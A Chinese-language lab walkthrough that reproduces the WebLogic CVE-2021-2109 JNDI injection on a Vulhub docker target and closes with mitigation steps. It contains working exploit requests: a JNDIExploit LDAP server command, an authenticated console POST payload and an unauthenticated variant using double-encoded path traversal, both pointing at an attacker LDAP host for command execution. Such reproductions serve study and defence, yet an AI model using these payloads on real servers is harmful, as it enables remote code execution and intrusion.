影响版本

  • WebLogic 10.3.6.0.0
  • WebLogic 12.1.3.0.0
  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0

    环境准备

  • 靶机直接使用Vulhub/Weblogic/CVE-2017-10271/

    1. $ cd vulhub/weblogic/CVE-2020-14882/
    2. $ docker-compose up -d
  • 访问看到这个404页面说明部署成功Weblogic-CVE-2021-2109 - 图1

漏洞复现

  • 先在攻击机上使用JNDIExploit启动LDAP,此时会同时开启LDAP和HTTP服务
    1. $ java -jar JNDIExploit.jar -i <VPS_IP>

Weblogic-CVE-2021-2109 - 图2

授权访问后台JNDI注入

  • 使用浏览器访问控制台:http://<IP:PORT>/console/login/LoginForm.jsp进行登录。默认账号为weblogic,密码可在靶机使用以下命令查询:
  1. $ docker-compose logs | grep password

Weblogic-CVE-2021-2109 - 图3

  • 登录后访问:http://<IP:PORT>/console/console.portal可进入控制台。使用Burp抓包,发送到Repeater

Weblogic-CVE-2021-2109 - 图4

  • Repeater中修改请求为以下Payload,需要注意的是,服务器IP格式为xxx.xxx.xxx;xxx,最后一段是以分号;分割的
    1. POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

Weblogic-CVE-2021-2109 - 图5

  • 尝试执行CMD命令

Weblogic-CVE-2021-2109 - 图6

未授权访问后台JNDI注入

  • 和前面差不多,只不过此处访问的是http://<IP:PORT>/console/css/%252e%252e%252f/consolejndi.portal

Weblogic-CVE-2021-2109 - 图7

  • 然后使用Burp抓包并发送到Repeater,同样需要注意服务器IP格式为xxx.xxx.xxx;xxx,Payload如下
  1. POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
  • 这里直接执行命令吧

Weblogic-CVE-2021-2109 - 图8

修复方案

  1. 禁用T3协议:如果您不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响
    • 进入Weblogic控制台,在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。
    • 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s
  2. 禁止启用IIOP:登陆Weblogic控制台,找到启用IIOP选项,取消勾选,重启生效
  3. 临时关闭后台/console/console.portal对外访问
  4. 升级官方安全补丁